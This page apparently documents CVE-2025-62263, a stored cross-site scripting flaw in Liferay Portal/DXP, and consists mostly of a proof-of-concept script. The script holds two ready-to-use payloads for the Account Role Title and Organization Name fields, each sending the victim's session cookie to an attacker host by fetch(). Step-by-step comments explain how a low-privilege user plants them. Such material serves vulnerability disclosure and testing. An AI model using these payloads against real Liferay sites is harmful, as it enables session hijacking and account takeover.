CVE-2025-62263 Liferay Portal/DXP 跨站脚本漏洞

<!-- CVE-2025-62263 XSS PoC --> <script> // Liferay Portal/DXP Stored XSS in Account Role Title // Target: Account Role's "Title" text field // Payload for Account Role Title XSS const roleTitlePayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Payload for Organization Name XSS const orgNamePayload = '<img src=x onerror="fetch(\'https://attacker.com/steal?data=\'+btoa(document.cookie))">'; // Attack scenario: // 1. Attacker with low privileges creates/modifies Account Role // 2. Inject XSS payload into "Title" field // 3. When victim views account role page, XSS executes console.log('CVE-2025-62263 PoC - Stored XSS in Liferay'); console.log('Role Title Payload:', roleTitlePayload); console.log('Org Name Payload:', orgNamePayload); </script>